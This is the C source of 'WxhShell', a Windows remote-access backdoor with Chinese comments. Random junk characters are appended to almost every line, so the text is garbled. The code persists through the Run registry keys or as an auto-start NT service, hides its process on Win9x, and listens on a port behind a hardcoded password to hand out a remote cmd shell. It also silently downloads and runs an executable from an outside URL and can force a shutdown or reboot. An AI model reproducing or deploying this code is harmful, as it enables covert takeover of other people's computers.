  // 关机 6Ia[`x uL  
  case 'd': { 3=%G{L16-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '30JJ0  
    if(Boot(SHUTDOWN)) ulfs Z:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #p-\Y7f  
    else { *pyC<4W  
    closesocket(wsh); N[N4!k )!$  
    ExitThread(0); ."`||@|  
    } l0tFj>q"  
    break; l)V646-O,~  
    } XY<KLO%  
  // 获取shell o8S P#ET"n  
  case 's': { \p!m/2  
    CmdShell(wsh); l|M|;5TW  
    closesocket(wsh); V OT9cP^6  
    ExitThread(0); /buj(/q^#  
    break; nPH\Lra  
  } =`l><  
  // 退出 (N5"'`NZA  
  case 'x': { e1hf{:&/G@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Bj]j -\Y  
    CloseIt(wsh); vgi`.hk  
    break; .I%B$eH  
    } =>7czw:S 1  
  // 离开 /Z]hX*QR  
  case 'q': { Fzz9BEw(i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); & d* bQv$  
    closesocket(wsh); UU ' 9  
    WSACleanup(); Y]i:$X]C?X  
    exit(1); J!}R>mR  
    break; ajX] ui  
        } rw?wlBEG%  
  } 8yM8O #S  
  } ?F~0\T,7  
jH<,dG:{  
  // 提示信息 FA;B :O@:'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JvS ~.g1  
} m; PTO$--  
  } ^BP4l_rO9  
1+Vei<H$  
  return; MPLeqk$;  
} tZ:fOM  
C}\kp0mz  
// shell模块句柄  !>Q{co'  
int CmdShell(SOCKET sock) D2zqDo<+;  
{ <80M$a g  
STARTUPINFO si;  1 K]  
ZeroMemory(&si,sizeof(si)); ML%JT x0+Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0UQ DB5u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m`jGBSlw_  
PROCESS_INFORMATION ProcessInfo; K] &GSro  
char cmdline[]="cmd"; `R*!GHro  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jEK{47i v  
  return 0; id]}10  
} 7>-99o^W  
l s%'\}  
// 自身启动模式 6L2Wv5C  
int StartFromService(void) E&Sr+D aPD  
{ @== "$uRw  
typedef struct z]j_,3Hff  
{ UN:cRH{?*  
  DWORD ExitStatus; HN<e)E38  
  DWORD PebBaseAddress; NU[Wj uLG  
  DWORD AffinityMask; >uE<-klv  
  DWORD BasePriority; eYPIZ{S7h  
  ULONG UniqueProcessId; Gz7,g Y  
  ULONG InheritedFromUniqueProcessId; &+/$~@OK  
}   PROCESS_BASIC_INFORMATION; Zm#,Ike?#  
<g, 21(bc  
PROCNTQSIP NtQueryInformationProcess; 51'V[tI;8  
LtNspFoLb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SA [(1dy;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B'6(Ao=3/  
}RQ'aeVl(  
  HANDLE             hProcess; %t$)sg]  
  PROCESS_BASIC_INFORMATION pbi; #:Ukv?  
{3 >`k.w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,fj~BkW{  
  if(NULL == hInst ) return 0; l!IN#|{(  
Ub[UB%(T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OO;I^`Yn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |2I p*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4hUUQ;xj  
Nl{on"il  
  if (!NtQueryInformationProcess) return 0; e{.P2rnh  
~~#/jULbV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SnoEi~Da  
  if(!hProcess) return 0; ,;yaYF 6|/  
t<cWMx5ra  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &pAmFe  
S4{\5ulr7  
  CloseHandle(hProcess); z@2nre  
j)}TZx4~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :{?Pq8jP  
if(hProcess==NULL) return 0; ,MD >Jx|  
DhG{hQ[[  
HMODULE hMod; @>[3 [;  
char procName[255]; B:)vPO+ d  
unsigned long cbNeeded; %3q7i`AZ  
(KR.dxzjf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q&,uJo  
; $UB@)7%  
  CloseHandle(hProcess); ,k m`-6.2?  
M\kct7Y  
if(strstr(procName,"services")) return 1; // 以服务启动 q{7+N1 "  
5_SxX@fW %  
  return 0; // 注册表启动 u)l[*";S  
} &>XSQB(&%  
5%" 0  
// 主模块 sA+( |cEh  
int StartWxhshell(LPSTR lpCmdLine) kFi=^#J{  
{ 8+~'T|  
  SOCKET wsl; ;5}"2hU>  
BOOL val=TRUE; r4 ;nkx  
  int port=0; Chtls;Ph[  
  struct sockaddr_in door; ET|4a(x  
K Z0%J5  
  if(wscfg.ws_autoins) Install(); r7v 1q  
u6*mHkM  
port=atoi(lpCmdLine); b>| d Q  
Na`vw  
if(port<=0) port=wscfg.ws_port; q?# w%0}  
z!^3%kJJ>  
  WSADATA data; T2 V(P>E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /fxv^C82yv  
-yY]0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?gS~9jgcd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u~27\oj,  
  door.sin_family = AF_INET; ~<=wTns!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8uB6C0,6?  
  door.sin_port = htons(port); *w1R>  
M532>+A]Za  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *)i+c{~  
closesocket(wsl); HE3x0H}o>  
return 1; Il!#]  
} tEllkHyef  
Q_A?p$%;L  
  if(listen(wsl,2) == INVALID_SOCKET) { It8@Cp.dU  
closesocket(wsl); <Kq!)) J'  
return 1; -)E6{  
} +Z/aG k;  
  Wxhshell(wsl); $9<P3J 1  
  WSACleanup(); y?V#LW[^E  
RZI4N4o  
return 0; (M,*R v  
.p\<niu7  
} C-VkXk  
}_cX" s  
// 以NT服务方式启动 .T7S1C $HP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wTVd){q`.  
{ -[>G@m:?e  
DWORD   status = 0; 5i&+.?(Z=  
  DWORD   specificError = 0xfffffff; )>WSuf j  
%<'PSri  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N x/_+JWje  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]a\HgFp@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uJ%XF*>_D  
  serviceStatus.dwWin32ExitCode     = 0; oz\r0:  
  serviceStatus.dwServiceSpecificExitCode = 0; liVj-*m  
  serviceStatus.dwCheckPoint       = 0; Gu K!<-Oz"  
  serviceStatus.dwWaitHint       = 0; p}k\l dmh{  
*7!*kq g!u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _,E! <  
  if (hServiceStatusHandle==0) return; H,U qU3b3  
sTF Ru  
status = GetLastError(); `xu/|})KI  
  if (status!=NO_ERROR) 08;t%[R  
{ i^6g1"h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <@H=XEn  
    serviceStatus.dwCheckPoint       = 0; X:gE mcXc  
    serviceStatus.dwWaitHint       = 0; AO^c=^  
    serviceStatus.dwWin32ExitCode     = status; nV?e(}D  
    serviceStatus.dwServiceSpecificExitCode = specificError; OEj%cB!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7a'@NgiGg  
    return; m*H6\on:  
  } aZYs?b>Gm  
mX QVL.P\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iCZ1ARi  
  serviceStatus.dwCheckPoint       = 0; W8s/"  
  serviceStatus.dwWaitHint       = 0; h%(0|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kG]FB.@bG  
} 9y5nG  
ewzZb*\  
// 处理NT服务事件,比如:启动、停止 mi$*,fz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~JxAo\2i  
{ #kL4Rm;  
switch(fdwControl) B}2 JK9  
{ Km,:7#aV  
case SERVICE_CONTROL_STOP: St~a/L q6  
  serviceStatus.dwWin32ExitCode = 0; %%Z|6V74  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >PK\bLEo  
  serviceStatus.dwCheckPoint   = 0;  Q~AK0W  
  serviceStatus.dwWaitHint     = 0; 73'.TReK  
  { 99..]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'P<T,:z?  
  } =;@?bTmqD  
  return; BX6]d:S  
case SERVICE_CONTROL_PAUSE: A+1>n^^_<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :ODG]-QF  
  break; {w|KWGk2  
case SERVICE_CONTROL_CONTINUE: N"#=Q=)x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5K %  
  break; 9x9~u8j  
case SERVICE_CONTROL_INTERROGATE: 9='=wWW  
  break; jCv%[H7  
}; .#$D\cwV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qECta'b&  
} z2.ZxL"*  
dzwto;  
// 标准应用程序主函数 ~V<62"G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G9i?yd4n=B  
{ (3M7RpsL@  
U `<?~Bz  
// 获取操作系统版本 \%011I4  
OsIsNt=GetOsVer(); S) [$F}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tcU4$%H/  
Af_yb`W?  
  // 从命令行安装 q(cSHHv+  
  if(strpbrk(lpCmdLine,"iI")) Install(); d 1bx5U  
dTW3mF4=  
  // 下载执行文件 >@NGX-gp  
if(wscfg.ws_downexe) { EkEU}2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pUXszPf  
  WinExec(wscfg.ws_filenam,SW_HIDE); b(.,Ex]  
} orzy &4  
o{wXq)b  
if(!OsIsNt) { U:o(%dk  
// 如果时win9x,隐藏进程并且设置为注册表启动 L=."<,\  
HideProc(); $*[-kIy  
StartWxhshell(lpCmdLine); bp?4)C*R  
} 7*&$-Hv  
else #GT4/Ej}W  
  if(StartFromService()) Jv9yy~  
  // 以服务方式启动 W6[# q%o  
  StartServiceCtrlDispatcher(DispatchTable); z?i{2Fz6  
else X6g{qzHg_  
  // 普通方式启动 8o4?mhqV  
  StartWxhshell(lpCmdLine); S;FgS:;  
8h| 9;%  
return 0; O'} %Bjl  
} C7lBK<gQ  
%1oG<s  
$9Yk]~  
h16i]V  
=========================================== 4(FEfde=  
G`" 9/FI7  
4S+sz?W2j  
,>Lj>g{~  
RRH[$jk  
9!06R-h  
" ai,Nx:r   
5*W<6ia  
#include <stdio.h> F ak"u'~  
#include <string.h> =`MU*Arcs[  
#include <windows.h> v{dvB:KP5X  
#include <winsock2.h> pl.K*9+  
#include <winsvc.h> rWo&I _{  
#include <urlmon.h> J(JqusQd !  
^7 oXJu=  
#pragma comment (lib, "Ws2_32.lib") & 0*=F%Fd  
#pragma comment (lib, "urlmon.lib") +`)4jx)r/  
)mVpJYt;  
#define MAX_USER   100 // 最大客户端连接数 a9CK4Kg  
#define BUF_SOCK   200 // sock buffer P<<hg3@  
#define KEY_BUFF   255 // 输入 buffer NlnmeTLO5  
Y uo  
#define REBOOT     0   // 重启 atA:v3"  
#define SHUTDOWN   1   // 关机 s,|s;w*.  
~Uz1()ftz  
#define DEF_PORT   5000 // 监听端口 ,B=;NKo  
J_=42aHO  
#define REG_LEN     16   // 注册表键长度 aJi0!6oy  
#define SVC_LEN     80   // NT服务名长度 _(Qec?[^Ps  
fq2t^c|$  
// 从dll定义API f\~OG#AaX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {tlt5p!4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <!r0[bKz@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /Ky xOb)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LT ZoO9O  
&CEZ+\bA  
// wxhshell配置信息 "}jY;d#n  
struct WSCFG { =(x W7Pt~  
  int ws_port;         // 监听端口 z sZP\  
  char ws_passstr[REG_LEN]; // 口令 CI };$4W~  
  int ws_autoins;       // 安装标记, 1=yes 0=no XvIrO]F-  
  char ws_regname[REG_LEN]; // 注册表键名 ED+tVXyw  
  char ws_svcname[REG_LEN]; // 服务名 k5%:L2FO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M!e$h?vB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2 Xt$KF,?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;ESuj'*t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C=z7Gk=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X_0Ta_u?T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UmRI! WQl  
k}yUD 0Y  
}; uS%Y$v  
`T]1u4^E  
// default Wxhshell configuration rfdT0xfcU  
struct WSCFG wscfg={DEF_PORT, @}{~Ofs  
    "xuhuanlingzhe", vQ/&iAyut  
    1, E4nj*Lp~+  
    "Wxhshell", %j3 *j  
    "Wxhshell", 8=%%C:  
            "WxhShell Service", DgQw9`W A  
    "Wrsky Windows CmdShell Service", ARD&L$AX  
    "Please Input Your Password: ", ^Cs5A0xo#s  
  1, oq<n5  
  "http://www.wrsky.com/wxhshell.exe", &u_s*  
  "Wxhshell.exe" UaQR0,#0y  
    }; :i4>&4j  
%0z&k!P  
// 消息定义模块 SbLx`]rI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #$GDKK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O#e'.n!rI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BWbM$@'x  
char *msg_ws_ext="\n\rExit."; wlM"Zt  
char *msg_ws_end="\n\rQuit."; 'NJCU.lKm  
char *msg_ws_boot="\n\rReboot..."; 5+gSpg]i  
char *msg_ws_poff="\n\rShutdown..."; YRy5.F%?  
char *msg_ws_down="\n\rSave to "; $RYsqX\v  
CqRG !J  
char *msg_ws_err="\n\rErr!"; BN?OvQ  
char *msg_ws_ok="\n\rOK!"; ?>_[hZ  
WzC_M>_  
char ExeFile[MAX_PATH]; %z(nZ%,Z  
int nUser = 0; -}B&>w,5  
HANDLE handles[MAX_USER]; k8}*b&+{vz  
int OsIsNt; F .(zS(q  
;eG,T-:  
SERVICE_STATUS       serviceStatus; 0koC;(<n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "Yo.]P U  
pL {h1^O}  
// 函数声明 J1?)z+t9~  
int Install(void); PN!NB.  
int Uninstall(void); lJfn3  
int DownloadFile(char *sURL, SOCKET wsh); 8}& O7zO?  
int Boot(int flag); MMMuT^X  
void HideProc(void); <3wfY #;><  
int GetOsVer(void); i U^tv_1  
int Wxhshell(SOCKET wsl); <4gT8 kQ$x  
void TalkWithClient(void *cs); ^b{w\HZ  
int CmdShell(SOCKET sock); Wn(pz)+Y  
int StartFromService(void); 4&Q.6HkL  
int StartWxhshell(LPSTR lpCmdLine); O;u&>BMk  
~"E@do("  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yX}riXe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }4!R2c  
8u,f<XHi"a  
// 数据结构和表定义 E6{|zF/3'  
SERVICE_TABLE_ENTRY DispatchTable[] = 5AWIk,[  
{ 0$-N  
{wscfg.ws_svcname, NTServiceMain}, cMCGaaLU  
{NULL, NULL} poqcoSL"}  
}; r.5}Q?  
_`/: gkZS  
// 自我安装 'nOc_b0  
int Install(void) ltKUpRE\?  
{ gg>O:np8  
  char svExeFile[MAX_PATH]; DA5kox&cU  
  HKEY key; Z\{"/( Hi  
  strcpy(svExeFile,ExeFile); 1N#KVvK  
6]=R#d 7U  
// 如果是win9x系统,修改注册表设为自启动 ,qS-T'[v,(  
if(!OsIsNt) { Hoaf3 `n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ):@XMECa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o<*H!oyP\  
  RegCloseKey(key); m"{D}(TA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CH6^;.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fa7I6 i  
  RegCloseKey(key); Pd99vq/  
  return 0; w&eX)!  
    } vjy59m  
  } yw|O,V<4N  
} 3x=f}SO&  
else { <+1d'VQ2  
3|=9aM^x^  
// 如果是NT以上系统,安装为系统服务 n+Ia@ $|m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n M +(  
if (schSCManager!=0) wic& $p/%  
{ }n+#o!uEf  
  SC_HANDLE schService = CreateService 6]=$c<.&  
  ( ^:.=S`,^  
  schSCManager, 35dbDgVz$  
  wscfg.ws_svcname, no*p`a *  
  wscfg.ws_svcdisp, T+_pmDDN  
  SERVICE_ALL_ACCESS, STDT]3.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '!)|;qe  
  SERVICE_AUTO_START, Jww LAQ5  
  SERVICE_ERROR_NORMAL, !TJCQ[Aa }  
  svExeFile, v !~lVv&  
  NULL, oUMY?[Wp  
  NULL, O@@=ZyYwc  
  NULL, GXV<fc"1  
  NULL, WD=#. $z$  
  NULL  aKkG[q N  
  ); >4gGb)  
  if (schService!=0) orB8q((  
  { ;(cq aB  
  CloseServiceHandle(schService); #$&!)13  
  CloseServiceHandle(schSCManager); k_p4 f%9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xef@-%mcoy  
  strcat(svExeFile,wscfg.ws_svcname); 50 :gk*hy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;aJBx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S&y(A0M  
  RegCloseKey(key); iw!kV  
  return 0; ~_SoP  
    } H"_ZqEg  
  } :zXkQQD8`  
  CloseServiceHandle(schSCManager); v(+9&  
} 1l$c*STK  
} :Ogt{t  
#&JhA2]q  
return 1; j[z o~Y4z  
} #HjiE  
Ww9%6 #i t  
// 自我卸载 &,pL3Qos  
int Uninstall(void) KLpe!8tAe  
{ Xx~za{p  
  HKEY key; FOB9J.w4  
D$W&6'  
if(!OsIsNt) { 26yjQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x>5"7MR`  
  RegDeleteValue(key,wscfg.ws_regname); /&g5f4[|p  
  RegCloseKey(key); *~~&*&+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2R:I23[#B  
  RegDeleteValue(key,wscfg.ws_regname); > YHwWf-  
  RegCloseKey(key); O s*B%,}  
  return 0; h rL_. 4  
  } 0_d,sC?V  
} )/BI :)  
} `N8?F3>  
else { C-Q]f  
>7yOu!l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >syQDB  
if (schSCManager!=0) HmWU;9Vn+  
{ h,-8( S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tDF=Iqu)a  
  if (schService!=0) =D<{uovQB  
  { Algk4zfK2,  
  if(DeleteService(schService)!=0) { '~2S BX?J  
  CloseServiceHandle(schService); 02U5N(s  
  CloseServiceHandle(schSCManager); *=OU~68)C  
  return 0; iNn]~L1  
  } |a7W@LVYD  
  CloseServiceHandle(schService); ?}y{tav=  
  } y:6&P6`dx  
  CloseServiceHandle(schSCManager); N*~G ]  
} {U:c95#.!S  
} qDR`)hle  
*>x~`  
return 1;  3z^l  
} CAGaZ rx  
.G"UM>.}d  
// 从指定url下载文件 GtQ$`~r  
int DownloadFile(char *sURL, SOCKET wsh) pkd#SY  
{ JI{|8)S  
  HRESULT hr; ~*WSH&ip  
char seps[]= "/"; 8Vcg30_+  
char *token; wYxnKm~f  
char *file; !+qy~h  
char myURL[MAX_PATH]; b2x8t7%O  
char myFILE[MAX_PATH]; FBn`sS8hH  
Ep/kb-~-  
strcpy(myURL,sURL); [nQ<pTg~r  
  token=strtok(myURL,seps); N1dp%b9W(  
  while(token!=NULL) 9cJzL"yi  
  { ]s3U+t?  
    file=token; i #5rk(^t  
  token=strtok(NULL,seps); h{s- e.  
  } j7&57'  
$ b Q4[  
GetCurrentDirectory(MAX_PATH,myFILE); ^rz8c+ly  
strcat(myFILE, "\\"); f0S&_gt  
strcat(myFILE, file); p&Usl.  
  send(wsh,myFILE,strlen(myFILE),0); NXQdyg,  
send(wsh,"...",3,0); y:TLGQ0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JTH8vk:@  
  if(hr==S_OK) y#[PQ T  
return 0; obUX7N  
else i3T]<&+j5  
return 1; dW3q  
1aC ?*,e?  
} zLQplw`#  
F<'@T,LVc  
// 系统电源模块 sq6|J])GgU  
int Boot(int flag) "xS?#^a  
{ Hu"?wZj  
  HANDLE hToken; jl# )CEx  
  TOKEN_PRIVILEGES tkp; B(<;]  
&"vh=Z-  
  if(OsIsNt) { *,w9#?2x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G813NoS o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dpHK~n j\_  
    tkp.PrivilegeCount = 1; $_N<! h*\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VGLE5lP X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MjIp~?*  
if(flag==REBOOT) { 92}UP=RW!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GT|=Kx$;  
  return 0; AplXl=  
} K 2J DG.<  
else { Fs rGI (x?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cC'{+j8-a  
  return 0; (uB evU\  
} X( m&  
  } =i jGB~  
  else { u@v0I$  
if(flag==REBOOT) { `>^2MHF3LT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !"\UT&  
  return 0; !|P>%bi  
} {}ks[%,_\  
else { V!=1 !"}OG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p"Ki$.Y  
  return 0; jBexEdH  
} MH{$"^K  
} !QoOL<(){  
.VF4?~+M-  
return 1; /JPyADi  
} RFyeA. N  
^hOnLy2  
// win9x进程隐藏模块 K9Dxb  
void HideProc(void) }0Isi G  
{ x|/zn<\^  
?A7&SdJaO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p;av63 i  
  if ( hKernel != NULL ) `PI,tmv!  
  { WZ}c)r*R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "qEHK;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SJhcmx+  
    FreeLibrary(hKernel); o ~"?K2@T  
  } 8E`rs)A  
.%>UA|[~:  
return; Q8.SD p  
} Yv!%Is  
+.UdEIR";M  
// 获取操作系统版本 9H5S@w[je  
int GetOsVer(void) Qn> 0s  
{ (I~-mzu\  
  OSVERSIONINFO winfo; {4"!~W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nU$;W  
  GetVersionEx(&winfo); j*"V! d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z38&7+  
  return 1; (7w`BR9B  
  else fk%r?K6K  
  return 0; ]Auk5M+  
} aaf\%~  
 ajF-T=5  
// 客户端句柄模块 $<c0Z6f  
int Wxhshell(SOCKET wsl) (xffU%C^  
{ _uL{@(  
  SOCKET wsh; )+2GF0%  
  struct sockaddr_in client; ?[Xv(60]  
  DWORD myID; j["b*X`8G  
d[ql7  
  while(nUser<MAX_USER) )24r^21.q  
{ `mV&[`NZ  
  int nSize=sizeof(client); _ 1[5~Pnh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nunTTE,iq%  
  if(wsh==INVALID_SOCKET) return 1; X&sXss<fO%  
h%MjVuLn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); " SkTVqm  
if(handles[nUser]==0) ?.#?h>MS{s  
  closesocket(wsh); M{$EJS\d=  
else d *ch.((-  
  nUser++; YUdCrb9F  
  } 8:c[_3w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _+%RbJ~H  
VYj hU?I  
  return 0; I, 9!["^|  
} @O b$w1c  
_W]qV2j  
// 关闭 socket .]`LR@qf  
void CloseIt(SOCKET wsh) 7a.$tT  
{ ,a&N1G.  
closesocket(wsh); zg,?aAm  
nUser--; Rk8>Ak(/  
ExitThread(0); a[iuE`  
} ur^)bp<n  
SBo>\<@  
// 客户端请求句柄 -d? 9Acd  
void TalkWithClient(void *cs) 3uO#/EbS  
{ `MFw2nu@t  
:JW!$?s8H  
  SOCKET wsh=(SOCKET)cs; xj~ /C5@  
  char pwd[SVC_LEN]; GEU:xn  
  char cmd[KEY_BUFF]; .-t#wXEi  
char chr[1]; ehQ"<.sQ  
int i,j; / *J}7  
isK~=  
  while (nUser < MAX_USER) { C=L_@{^Rgb  
=E@wi?  
if(wscfg.ws_passstr) { t_1a.Jv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k@nx+fO}P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <H3njv  
  //ZeroMemory(pwd,KEY_BUFF); =pQA!u]QE  
      i=0; *x3";%o  
  while(i<SVC_LEN) { 42mi 7%f  
8:hUj>q x  
  // 设置超时 \ } ,="  
  fd_set FdRead; WvVHSa4{  
  struct timeval TimeOut; .RocENO0  
  FD_ZERO(&FdRead); N8.K[m  
  FD_SET(wsh,&FdRead); dOPA0Ja  
  TimeOut.tv_sec=8; WoGK05w  
  TimeOut.tv_usec=0; p#HbN#^Hy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "/6<k0.D&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z,/0e@B >  
9{bG @g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'vKB]/e;  
  pwd=chr[0]; !<\"XxK+l  
  if(chr[0]==0xd || chr[0]==0xa) { e6n1/TtqM  
  pwd=0; ~_v?M%5i  
  break; |&vQ1o|}  
  } | _/D-m*  
  i++; 1(6B|w5+  
    } 9 ! [oJ3  
vUD,%@k9  
  // 如果是非法用户,关闭 socket ~7aBli=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~#3h-|]*  
} UO(B>Abp  
MJ^NRT0?b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  5|2v6W!e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [9S\3&yoh  
No8~~  
while(1) { PGZ.\i  
kb<Nuw  
  ZeroMemory(cmd,KEY_BUFF); Ezw(J[).C  
x9}D2Ui  
      // 自动支持客户端 telnet标准   :<Z*WoEmt  
  j=0; n|`L>@aw,  
  while(j<KEY_BUFF) { K$_Rno"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lk8g2H ,  
  cmd[j]=chr[0]; g`~c|bx  
  if(chr[0]==0xa || chr[0]==0xd) { lN94 b3_W  
  cmd[j]=0; BEM_y:#  
  break; ct='Z E  
  } j3 d=O!  
  j++; (5[|h  
    } fF !Mmm"  
[OFg (R-  
  // 下载文件 ~@=:I  
  if(strstr(cmd,"http://")) { 5fi6>>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K|$Dnma^n  
  if(DownloadFile(cmd,wsh)) ^)=c74;;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]UyIp`nV;  
  else Qo+_:N  
